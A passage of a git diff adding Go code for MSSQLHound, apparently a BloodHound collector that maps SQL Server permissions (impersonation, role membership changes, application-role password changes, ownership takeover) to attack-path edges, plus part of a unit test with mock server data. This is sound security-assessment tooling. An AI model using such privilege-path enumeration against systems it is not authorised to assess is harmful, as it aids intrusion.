serverInfo.ObjectIdentifier, + DatabaseName: db.Name, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } else if isUser { + // CONTROL on user = Impersonate (MSSQL_ExecuteAs) + edge = c.createEdge( + principal.ObjectIdentifier, + perm.TargetObjectIdentifier, + bloodhound.EdgeKinds.ExecuteAs, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: targetName, + TargetType: targetType, + TargetTypeDescription: targetTypeDesc, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + DatabaseName: db.Name, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + } + break + + case "CONNECT": + if perm.ClassDesc == "DATABASE" { + // Create MSSQL_Connect edge from user/role to database + edge := c.createEdge( + principal.ObjectIdentifier, + db.ObjectIdentifier, + bloodhound.EdgeKinds.Connect, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: db.Name, + TargetType: bloodhound.NodeKinds.Database, + TargetTypeDescription: "DATABASE", + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + DatabaseName: db.Name, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + break + case "ALTER": + if perm.ClassDesc == "DATABASE" { + // ALTER on the database itself - use MSSQL_Alter to match PowerShell + edge := c.createEdge( + principal.ObjectIdentifier, + db.ObjectIdentifier, + bloodhound.EdgeKinds.Alter, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: db.Name, + TargetType: bloodhound.NodeKinds.Database, + TargetTypeDescription: "DATABASE", + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + DatabaseName: db.Name, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // ALTER on database grants effective ALTER ANY APPLICATION ROLE and ALTER ANY ROLE + // Create AddMember edges to roles and ChangePassword edges to application roles + for _, targetPrincipal := range db.DatabasePrincipals { + if targetPrincipal.ObjectIdentifier == principal.ObjectIdentifier { + continue // Skip self + } + + // Check if source principal is db_owner + isDbOwner := false + for _, role := range principal.MemberOf { + if role.Name == "db_owner" { + isDbOwner = true + break + } + } + + switch targetPrincipal.TypeDescription { + case "DATABASE_ROLE": + // db_owner can alter any role, others can only alter user-defined roles + if targetPrincipal.Name != "public" && + (isDbOwner || !targetPrincipal.IsFixedRole) { + edge := c.createEdge( + principal.ObjectIdentifier, + targetPrincipal.ObjectIdentifier, + bloodhound.EdgeKinds.AddMember, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: targetPrincipal.Name, + TargetType: bloodhound.NodeKinds.DatabaseRole, + TargetTypeDescription: targetPrincipal.TypeDescription, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + DatabaseName: db.Name, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + case "APPLICATION_ROLE": + // ALTER on database allows changing application role passwords + edge := c.createEdge( + principal.ObjectIdentifier, + targetPrincipal.ObjectIdentifier, + bloodhound.EdgeKinds.ChangePassword, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: targetPrincipal.Name, + TargetType: bloodhound.NodeKinds.ApplicationRole, + TargetTypeDescription: targetPrincipal.TypeDescription, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + DatabaseName: db.Name, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + } + } else if perm.ClassDesc == "DATABASE_PRINCIPAL" && perm.TargetObjectIdentifier != "" { + // ALTER on a database principal - always use MSSQL_Alter to match PowerShell + targetPrincipal := principalMap[perm.TargetPrincipalID] + targetName := perm.TargetName + targetType := bloodhound.NodeKinds.DatabaseUser + targetTypeDesc := "" + isRole := false + if targetPrincipal != nil { + targetName = targetPrincipal.Name + targetType = c.getDatabasePrincipalType(targetPrincipal.TypeDescription) + targetTypeDesc = targetPrincipal.TypeDescription + isRole = targetPrincipal.TypeDescription == "DATABASE_ROLE" + } + + // Always create MSSQL_Alter edge (matches PowerShell) + edge := c.createEdge( + principal.ObjectIdentifier, + perm.TargetObjectIdentifier, + bloodhound.EdgeKinds.Alter, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: targetName, + TargetType: targetType, + TargetTypeDescription: targetTypeDesc, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + DatabaseName: db.Name, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // For database roles, also create AddMember edge (matches PowerShell) + if isRole { + addMemberEdge := c.createEdge( + principal.ObjectIdentifier, + perm.TargetObjectIdentifier, + bloodhound.EdgeKinds.AddMember, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: targetName, + TargetType: targetType, + TargetTypeDescription: targetTypeDesc, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + DatabaseName: db.Name, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(addMemberEdge); err != nil { + return err + } + } + } + break + case "ALTER ANY ROLE": + edge := c.createEdge( + principal.ObjectIdentifier, + db.ObjectIdentifier, + bloodhound.EdgeKinds.AlterAnyDBRole, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: db.Name, + TargetType: bloodhound.NodeKinds.Database, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + DatabaseName: db.Name, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // Also create AddMember edges to each eligible database role + // Matches PowerShell: user-defined roles always, fixed roles only if source is db_owner (except public) + for _, targetRole := range db.DatabasePrincipals { + if targetRole.TypeDescription != "DATABASE_ROLE" { + continue + } + if targetRole.ObjectIdentifier == principal.ObjectIdentifier { + continue // Skip self + } + if targetRole.Name == "public" { + continue // public role membership cannot be changed + } + + // Check if source principal is db_owner (member of db_owner role) + isDbOwner := false + for _, role := range principal.MemberOf { + if role.Name == "db_owner" { + isDbOwner = true + break + } + } + + // db_owner can alter any role, others can only alter user-defined roles + if isDbOwner || !targetRole.IsFixedRole { + addMemberEdge := c.createEdge( + principal.ObjectIdentifier, + targetRole.ObjectIdentifier, + bloodhound.EdgeKinds.AddMember, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: targetRole.Name, + TargetType: bloodhound.NodeKinds.DatabaseRole, + TargetTypeDescription: targetRole.TypeDescription, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + DatabaseName: db.Name, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(addMemberEdge); err != nil { + return err + } + } + } + break + case "ALTER ANY APPLICATION ROLE": + // Create edge to the database since this permission affects ANY application role + edge := c.createEdge( + principal.ObjectIdentifier, + db.ObjectIdentifier, + bloodhound.EdgeKinds.AlterAnyAppRole, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: db.Name, + TargetType: bloodhound.NodeKinds.Database, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + DatabaseName: db.Name, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // Create ChangePassword edges to each individual application role + for _, appRole := range db.DatabasePrincipals { + if appRole.TypeDescription == "APPLICATION_ROLE" && + appRole.ObjectIdentifier != principal.ObjectIdentifier { + edge := c.createEdge( + principal.ObjectIdentifier, + appRole.ObjectIdentifier, + bloodhound.EdgeKinds.ChangePassword, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: appRole.Name, + TargetType: bloodhound.NodeKinds.ApplicationRole, + TargetTypeDescription: appRole.TypeDescription, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + DatabaseName: db.Name, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + } + break + + case "IMPERSONATE": + // IMPERSONATE on a database user + if perm.ClassDesc == "DATABASE_PRINCIPAL" && perm.TargetObjectIdentifier != "" { + targetPrincipal := principalMap[perm.TargetPrincipalID] + targetName := perm.TargetName + targetTypeDesc := "" + if targetPrincipal != nil { + targetName = targetPrincipal.Name + targetTypeDesc = targetPrincipal.TypeDescription + } + + // PowerShell creates both MSSQL_Impersonate and MSSQL_ExecuteAs for database user impersonation + edge := c.createEdge( + principal.ObjectIdentifier, + perm.TargetObjectIdentifier, + bloodhound.EdgeKinds.Impersonate, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: targetName, + TargetType: bloodhound.NodeKinds.DatabaseUser, + TargetTypeDescription: targetTypeDesc, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + DatabaseName: db.Name, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // Also create ExecuteAs edge (PowerShell creates both) + edge = c.createEdge( + principal.ObjectIdentifier, + perm.TargetObjectIdentifier, + bloodhound.EdgeKinds.ExecuteAs, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: targetName, + TargetType: bloodhound.NodeKinds.DatabaseUser, + TargetTypeDescription: targetTypeDesc, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + DatabaseName: db.Name, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + break + + case "TAKE OWNERSHIP": + // TAKE OWNERSHIP on the database + if perm.ClassDesc == "DATABASE" { + // Create TakeOwnership edge to the database (non-traversable) + edge := c.createEdge( + principal.ObjectIdentifier, + db.ObjectIdentifier, + bloodhound.EdgeKinds.TakeOwnership, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: db.Name, + TargetType: bloodhound.NodeKinds.Database, + TargetTypeDescription: "DATABASE", + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + DatabaseName: db.Name, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // TAKE OWNERSHIP on database also grants ChangeOwner to all database roles + for _, targetRole := range db.DatabasePrincipals { + if targetRole.TypeDescription == "DATABASE_ROLE" { + changeOwnerEdge := c.createEdge( + principal.ObjectIdentifier, + targetRole.ObjectIdentifier, + bloodhound.EdgeKinds.ChangeOwner, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: targetRole.Name, + TargetType: bloodhound.NodeKinds.DatabaseRole, + TargetTypeDescription: targetRole.TypeDescription, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + DatabaseName: db.Name, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(changeOwnerEdge); err != nil { + return err + } + } + } + } else if perm.TargetObjectIdentifier != "" { + // TAKE OWNERSHIP on a specific object + // Find the target principal + var targetPrincipal *types.DatabasePrincipal + for idx := range db.DatabasePrincipals { + if db.DatabasePrincipals[idx].ObjectIdentifier == perm.TargetObjectIdentifier { + targetPrincipal = &db.DatabasePrincipals[idx] + break + } + } + + if targetPrincipal != nil { + // Create TakeOwnership edge (non-traversable) + edge := c.createEdge( + principal.ObjectIdentifier, + perm.TargetObjectIdentifier, + bloodhound.EdgeKinds.TakeOwnership, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: targetPrincipal.Name, + TargetType: c.getDatabasePrincipalType(targetPrincipal.TypeDescription), + TargetTypeDescription: targetPrincipal.TypeDescription, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + DatabaseName: db.Name, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // If target is a DATABASE_ROLE, also create ChangeOwner edge + if targetPrincipal.TypeDescription == "DATABASE_ROLE" { + changeOwnerEdge := c.createEdge( + principal.ObjectIdentifier, + perm.TargetObjectIdentifier, + bloodhound.EdgeKinds.ChangeOwner, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: targetPrincipal.Name, + TargetType: bloodhound.NodeKinds.DatabaseRole, + TargetTypeDescription: targetPrincipal.TypeDescription, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + DatabaseName: db.Name, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(changeOwnerEdge); err != nil { + return err + } + } + } + } + break + } + } + } + + return nil +} + +// createEdge creates a BloodHound edge with properties. +// Returns nil if the edge is non-traversable and IncludeNontraversableEdges is false, +// matching PowerShell's Add-Edge behavior which drops non-traversable edges entirely. +func (c *Collector) createEdge(sourceID, targetID, kind string, ctx *bloodhound.EdgeContext) *bloodhound.Edge { + // Auto-set SourceID and TargetID from parameters so callers don't need to + if ctx != nil { + ctx.SourceID = sourceID + ctx.TargetID = targetID + } + props := bloodhound.GetEdgeProperties(kind, ctx) + + // Apply MakeInterestingEdgesTraversable overrides before filtering + if c.config.MakeInterestingEdgesTraversable { + switch kind { + case bloodhound.EdgeKinds.LinkedTo, + bloodhound.EdgeKinds.IsTrustedBy, + bloodhound.EdgeKinds.ServiceAccountFor, + bloodhound.EdgeKinds.HasDBScopedCred, + bloodhound.EdgeKinds.HasMappedCred, + bloodhound.EdgeKinds.HasProxyCred: + props["traversable"] = true + } + } + + // Drop non-traversable edges when IncludeNontraversableEdges is false + // This matches PowerShell's Add-Edge behavior which returns early (drops the edge) + // when the edge is non-traversable and IncludeNontraversableEdges is disabled + if !c.config.IncludeNontraversableEdges { + if traversable, ok := props["traversable"].(bool); ok && !traversable { + return nil + } + } + + return &bloodhound.Edge{ + Start: bloodhound.EdgeEndpoint{Value: sourceID}, + End: bloodhound.EdgeEndpoint{Value: targetID}, + Kind: kind, + Properties: props, + } +} + +// getServerPrincipalType returns the BloodHound node type for a server principal +func (c *Collector) getServerPrincipalType(typeDesc string) string { + switch typeDesc { + case "SERVER_ROLE": + return bloodhound.NodeKinds.ServerRole + default: + return bloodhound.NodeKinds.Login + } +} + +// getDatabasePrincipalType returns the BloodHound node type for a database principal +func (c *Collector) getDatabasePrincipalType(typeDesc string) string { + switch typeDesc { + case "DATABASE_ROLE": + return bloodhound.NodeKinds.DatabaseRole + case "APPLICATION_ROLE": + return bloodhound.NodeKinds.ApplicationRole + default: + return bloodhound.NodeKinds.DatabaseUser + } +} + +// writeADFiles writes accumulated AD nodes to separate files (computers.json, users.json, groups.json) +func (c *Collector) writeADFiles() error { + type adFileSpec struct { + filename string + nodes []*bloodhound.Node + } + + specs := []adFileSpec{ + {"computers.json", c.adComputers}, + {"users.json", c.adUsers}, + {"groups.json", c.adGroups}, + } + + var written []string + for _, spec := range specs { + if len(spec.nodes) == 0 { + continue + } + + filePath := filepath.Join(c.tempDir, spec.filename) + writer, err := bloodhound.NewStreamingWriterNoSourceKind(filePath) + if err != nil { + return fmt.Errorf("failed to create %s: %w", spec.filename, err) + } + + for _, node := range spec.nodes { + if err := writer.WriteNode(node); err != nil { + writer.Close() + return fmt.Errorf("failed to write node to %s: %w", spec.filename, err) + } + } + + if err := writer.Close(); err != nil { + return fmt.Errorf("failed to close %s: %w", spec.filename, err) + } + + c.addOutputFile(filePath) + nodes, _ := writer.Stats() + written = append(written, fmt.Sprintf("%d nodes to %s", nodes, spec.filename)) + } + + if len(written) > 0 { + fmt.Printf("Wrote %s\n", strings.Join(written, ", ")) + } + fmt.Println("Added seed_data.json") + + return nil +} + +// createZipFile creates the final zip file from all output files +func (c *Collector) createZipFile() (string, error) { + timestamp := time.Now().Format("20060102-150405") + zipDir := c.config.ZipDir + if zipDir == "" { + zipDir = "." + } + + zipPath := filepath.Join(zipDir, fmt.Sprintf("mssql-bloodhound-%s.zip", timestamp)) + + zipFile, err := os.Create(zipPath) + if err != nil { + return "", err + } + defer zipFile.Close() + + zipWriter := zip.NewWriter(zipFile) + defer zipWriter.Close() + + for _, filePath := range c.outputFiles { + if err := addFileToZip(zipWriter, filePath); err != nil { + return "", fmt.Errorf("failed to add %s to zip: %w", filePath, err) + } + } + + // Add embedded seed_data.json to the zip + seedHeader := &zip.FileHeader{ + Name: "seed_data.json", + Method: zip.Deflate, + } + seedWriter, err := zipWriter.CreateHeader(seedHeader) + if err != nil { + return "", fmt.Errorf("failed to add seed_data.json to zip: %w", err) + } + if _, err := seedWriter.Write(bloodhound.SeedDataJSON); err != nil { + return "", fmt.Errorf("failed to write seed_data.json to zip: %w", err) + } + + return zipPath, nil +} + +// addFileToZip adds a file to a zip archive +func addFileToZip(zipWriter *zip.Writer, filePath string) error { + file, err := os.Open(filePath) + if err != nil { + return err + } + defer file.Close() + + info, err := file.Stat() + if err != nil { + return err + } + + header, err := zip.FileInfoHeader(info) + if err != nil { + return err + } + header.Name = filepath.Base(filePath) + header.Method = zip.Deflate + + writer, err := zipWriter.CreateHeader(header) + if err != nil { + return err + } + + _, err = io.Copy(writer, file) + return err +} + +// generateFilename creates a filename matching PowerShell naming convention +// Format: mssql-{hostname}[_{port}][_{instance}].json +// - Port 1433 is omitted +// - Instance "MSSQLSERVER" is omitted +// - Uses underscore (_) as separator, not hyphen +func (c *Collector) generateFilename(server *ServerToProcess) string { + parts := []string{server.Hostname} + + // Add port only if not 1433 + if server.Port != 1433 { + parts = append(parts, strconv.Itoa(server.Port)) + } + + // Add instance only if not default + if server.InstanceName != "" && server.InstanceName != "MSSQLSERVER" { + parts = append(parts, server.InstanceName) + } + + // Join with underscore and sanitize + cleanedName := strings.Join(parts, "_") + // Replace problematic filename characters with underscore (matching PS behavior) + replacer := strings.NewReplacer( + "\\", "_", + "/", "_", + ":", "_", + "*", "_", + "?", "_", + "\"", "_", + "<", "_", + ">", "_", + "|", "_", + ) + cleanedName = replacer.Replace(cleanedName) + + return fmt.Sprintf("mssql-%s.json", cleanedName) +} + +// sanitizeFilename makes a string safe for use as a filename +func sanitizeFilename(s string) string { + // Replace problematic characters + replacer := strings.NewReplacer( + "\\", "-", + "/", "-", + ":", "-", + "*", "-", + "?", "-", + "\"", "-", + "<", "-", + ">", "-", + "|", "-", + ) + return replacer.Replace(s) +} + +// logVerbose logs a message only if verbose mode is enabled +func (c *Collector) logVerbose(format string, args ...interface{}) { + if c.config.Verbose { + fmt.Printf(format+"\n", args...) + } +} + +// getMemoryUsage returns a string describing current memory usage +func (c *Collector) getMemoryUsage() string { + var m runtime.MemStats + runtime.ReadMemStats(&m) + + // Get allocated memory in GB + allocatedGB := float64(m.Alloc) / 1024 / 1024 / 1024 + + // Try to get system memory info (this is a rough estimate) + // On Windows, we'd ideally use syscall but this gives a basic view + sysGB := float64(m.Sys) / 1024 / 1024 / 1024 + + return fmt.Sprintf("%.2fGB allocated (%.2fGB system)", allocatedGB, sysGB) +} diff --git a/go/internal/collector/collector_test.go b/go/internal/collector/collector_test.go new file mode 100644 index 0000000..9b95f19 --- /dev/null +++ b/go/internal/collector/collector_test.go @@ -0,0 +1,961 @@ +// Package collector provides unit tests for MSSQL data collection and edge creation. +package collector + +import ( + "encoding/json" + "os" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/SpecterOps/MSSQLHound/internal/bloodhound" + "github.com/SpecterOps/MSSQLHound/internal/types" +) + +// TestEdgeCreation tests that edges are created correctly for various scenarios +func TestEdgeCreation(t *testing.T) { + // Create a temporary directory for output + tmpDir, err := os.MkdirTemp("", "mssqlhound-test") + if err != nil { + t.Fatalf("Failed to create temp dir: %v", err) + } + defer os.RemoveAll(tmpDir) + + // Create a mock server info with test data + serverInfo := createMockServerInfo() + + // Create collector with minimal config + config := &Config{ + TempDir: tmpDir, + IncludeNontraversableEdges: true, + } + c := New(config) + + // Create output file + outputPath := filepath.Join(tmpDir, "test-output.json") + writer, err := bloodhound.NewStreamingWriter(outputPath) + if err != nil { + t.Fatalf("Failed to create writer: %v", err) + } + + // Write nodes first (manually since createNodes is private) + // Server node + serverNode := c.createServerNode(serverInfo) + if err := writer.WriteNode(serverNode); err != nil { + t.Fatalf("Failed to write server node: %v", err) + } + + // Database nodes + for _, db := range serverInfo.Databases { + dbNode := c.createDatabaseNode(&db, serverInfo) + if err := writer.WriteNode(dbNode); err != nil { + t.Fatalf("Failed to write database node: %v", err) + } + + // Database principal nodes + for _, principal := range db.DatabasePrincipals { + principalNode := c.createDatabasePrincipalNode(&principal, &db, serverInfo) + if err := writer.WriteNode(principalNode); err != nil { + t.Fatalf("Failed to write database principal node: %v", err) + } + } + } + + // Server principal nodes + for _, principal := range serverInfo.ServerPrincipals { + principalNode := c.createServerPrincipalNode(&principal, serverInfo, nil) + if err := writer.WriteNode(principalNode); err != nil { + t.Fatalf("Failed to write server principal node: %v", err) + } + } + + // Create edges + if err := c.createEdges(writer, serverInfo); err != nil { + t.Fatalf("Failed to create edges: %v", err) + } + + // Create fixed role edges + if err := c.createFixedRoleEdges(writer, serverInfo); err != nil { + t.Fatalf("Failed to create fixed role edges: %v", err) + } + + // Close writer + if err := writer.Close(); err != nil { + t.Fatalf("Failed to close writer: %v", err) + } + + // Read and verify output + nodes, edges, err := bloodhound.ReadFromFile(outputPath) + if err != nil { + t.Fatalf("Failed to read output: %v", err) + } + + // Verify expected edges exist + verifyEdges(t, edges, nodes) +} + +// createMockServerInfo creates a mock ServerInfo for testing +func createMockServerInfo() *types.ServerInfo { + domainSID := "S-1-5-21-1234567890-1234567890-1234567890" + serverSID := domainSID + "-1001" + serverOID := serverSID + ":1433" + + return &types.ServerInfo{ + ObjectIdentifier: serverOID, + Hostname: "testserver", + ServerName: "TESTSERVER", + SQLServerName: "testserver.domain.com:1433", + InstanceName: "MSSQLSERVER", + Port: 1433, + Version: "Microsoft SQL Server 2019", + VersionNumber: "15.0.2000.5", + IsMixedModeAuth: true, + ForceEncryption: "No", + ExtendedProtection: "Off", + ComputerSID: serverSID, + DomainSID: domainSID, + FQDN: "testserver.domain.com", + ServiceAccounts: []types.ServiceAccount{ + { + Name: "DOMAIN\\sqlservice", + ServiceName: "SQL Server (MSSQLSERVER)", + ServiceType: "SQLServer", + SID: "S-1-5-21-1234567890-1234567890-1234567890-2001", + ObjectIdentifier: "S-1-5-21-1234567890-1234567890-1234567890-2001", + }, + }, + Credentials: []types.Credential{ + { + CredentialID: 1, + Name: "TestCredential", + CredentialIdentity: "DOMAIN\\creduser", + ResolvedSID: "S-1-5-21-1234567890-1234567890-1234567890-5001", + CreateDate: time.Now(), + ModifyDate: time.Now(), + }, + }, + ProxyAccounts: []types.ProxyAccount{ + { + ProxyID: 1, + Name: "TestProxy", + CredentialID: 1, + CredentialIdentity: "DOMAIN\\proxyuser", + ResolvedSID: "S-1-5-21-1234567890-1234567890-1234567890-5002", + Enabled: true, + Subsystems: []string{"CmdExec", "PowerShell"}, + Logins: []string{"TestLogin_WithProxy"}, + }, + }, + ServerPrincipals: []types.ServerPrincipal{ + // sa login + { + ObjectIdentifier: "sa@" + serverOID, + PrincipalID: 1, + Name: "sa", + TypeDescription: "SQL_LOGIN", + IsDisabled: false, + IsFixedRole: false, + SecurityIdentifier: "", + IsActiveDirectoryPrincipal: false, + SQLServerName: "testserver.domain.com:1433", + MemberOf: []types.RoleMembership{ + {ObjectIdentifier: "sysadmin@" + serverOID, Name: "sysadmin", PrincipalID: 3}, + }, + Permissions: []types.Permission{ + {Permission: "CONNECT SQL", State: "GRANT", ClassDesc: "SERVER"}, + }, + }, + // public role + { + ObjectIdentifier: "public@" + serverOID, + PrincipalID: 2, + Name: "public", + TypeDescription: "SERVER_ROLE", + IsDisabled: false, + IsFixedRole: true, + SQLServerName: "testserver.domain.com:1433", + }, + // sysadmin role + { + ObjectIdentifier: "sysadmin@" + serverOID, + PrincipalID: 3, + Name: "sysadmin", + TypeDescription: "SERVER_ROLE", + IsDisabled: false, + IsFixedRole: true, + SQLServerName: "testserver.domain.com:1433", + }, + // securityadmin role + { + ObjectIdentifier: "securityadmin@" + serverOID, + PrincipalID: 4, + Name: "securityadmin", + TypeDescription: "SERVER_ROLE", + IsDisabled: false, + IsFixedRole: true, + SQLServerName: "testserver.domain.com:1433", + }, + // Domain user login with sysadmin + { + ObjectIdentifier: "DOMAIN\\testadmin@" + serverOID, + PrincipalID: 256, + Name: "DOMAIN\\testadmin", + TypeDescription: "WINDOWS_LOGIN", + IsDisabled: false, + IsFixedRole: false, + SecurityIdentifier: "S-1-5-21-1234567890-1234567890-1234567890-1100", + IsActiveDirectoryPrincipal: true, + SQLServerName: "testserver.domain.com:1433", + MemberOf: []types.RoleMembership{ + {ObjectIdentifier: "sysadmin@" + serverOID, Name: "sysadmin", PrincipalID: 3}, + }, + Permissions: []types.Permission{ + {Permission: "CONNECT SQL", State: "GRANT", ClassDesc: "SERVER"}, + }, + }, + // Domain user login with CONTROL SERVER + { + ObjectIdentifier: "DOMAIN\\controluser@" + serverOID, + PrincipalID: 257, + Name: "DOMAIN\\controluser", + TypeDescription: "WINDOWS_LOGIN", + IsDisabled: false, + IsFixedRole: false, + SecurityIdentifier: "S-1-5-21-1234567890-1234567890-1234567890-1101", + IsActiveDirectoryPrincipal: true, + SQLServerName: "testserver.domain.com:1433", + Permissions: []types.Permission{ + {Permission: "CONNECT SQL", State: "GRANT", ClassDesc: "SERVER"}, + {Permission: "CONTROL SERVER", State: "GRANT", ClassDesc: "SERVER"}, + }, + }, + // Login with IMPERSONATE ANY LOGIN + { + ObjectIdentifier: "DOMAIN\\impersonateuser@" + serverOID, + PrincipalID: 258, + Name: "DOMAIN\\impersonateuser", + TypeDescription: "WINDOWS_LOGIN", + IsDisabled: false, + IsFixedRole: false, + SecurityIdentifier: "S-1-5-21-1234567890-1234567890-1234567890-1102", + IsActiveDirectoryPrincipal: true, + SQLServerName: "testserver.domain.com:1433", + Permissions: []types.Permission{ + {Permission: "CONNECT SQL", State: "GRANT", ClassDesc: "SERVER"}, + {Permission: "IMPERSONATE ANY LOGIN", State: "GRANT", ClassDesc: "SERVER"}, + }, + }, + // Login with mapped credential + { + ObjectIdentifier: "TestLogin_WithCred@" + serverOID, + PrincipalID: 259, + Name: "TestLogin_WithCred", + TypeDescription: "SQL_LOGIN", + IsDisabled: false, + IsFixedRole: false, + SecurityIdentifier: "", + IsActiveDirectoryPrincipal: false, + SQLServerName: "testserver.domain.com:1433", + MappedCredential: &types.Credential{ + CredentialID: 1, + Name: "TestCredential", + CredentialIdentity: "DOMAIN\\creduser", + ResolvedSID: "S-1-5-21-1234567890-1234567890-1234567890-5001", + }, + Permissions: []types.Permission{ + {Permission: "CONNECT SQL", State: "GRANT", ClassDesc: "SERVER"}, + }, + }, + // Login authorized to use proxy + { + ObjectIdentifier: "TestLogin_WithProxy@" + serverOID, + PrincipalID: 260, + Name: "TestLogin_WithProxy", + TypeDescription: "SQL_LOGIN", + IsDisabled: false, + IsFixedRole: false, + SecurityIdentifier: "", + IsActiveDirectoryPrincipal: false, + SQLServerName: "testserver.domain.com:1433", + Permissions: []types.Permission{ + {Permission: "CONNECT SQL", State: "GRANT", ClassDesc: "SERVER"}, + }, + }, + }, + Databases: []types.Database{ + { + ObjectIdentifier: serverOID + "\\master", + DatabaseID: 1, + Name: "master", + OwnerLoginName: "sa", + OwnerObjectIdentifier: "sa@" + serverOID, + IsTrustworthy: false, + SQLServerName: "testserver.domain.com:1433", + DatabasePrincipals: []types.DatabasePrincipal{ + { + ObjectIdentifier: "dbo@" + serverOID + "\\master", + PrincipalID: 1, + Name: "dbo", + TypeDescription: "SQL_USER", + DatabaseName: "master", + SQLServerName: "testserver.domain.com:1433", + ServerLogin: &types.ServerLoginRef{ + ObjectIdentifier: "sa@" + serverOID, + Name: "sa", + PrincipalID: 1, + }, + }, + { + ObjectIdentifier: "db_owner@" + serverOID + "\\master", + PrincipalID: 16384, + Name: "db_owner", + TypeDescription: "DATABASE_ROLE", + IsFixedRole: true, + DatabaseName: "master", + SQLServerName: "testserver.domain.com:1433", + }, + }, + }, + // Trustworthy database for ExecuteAsOwner test + { + ObjectIdentifier: serverOID + "\\TrustDB", + DatabaseID: 5, + Name: "TrustDB", + OwnerLoginName: "DOMAIN\\testadmin", + OwnerObjectIdentifier: "DOMAIN\\testadmin@" + serverOID, + IsTrustworthy: true, + SQLServerName: "testserver.domain.com:1433", + DatabasePrincipals: []types.DatabasePrincipal{ + { + ObjectIdentifier: "dbo@" + serverOID + "\\TrustDB", + PrincipalID: 1, + Name: "dbo", + TypeDescription: "SQL_USER", + DatabaseName: "TrustDB", + SQLServerName: "testserver.domain.com:1433", + }, + }, + }, + // Database with DB-scoped credential + { + ObjectIdentifier: serverOID + "\\CredDB", + DatabaseID: 6, + Name: "CredDB", + OwnerLoginName: 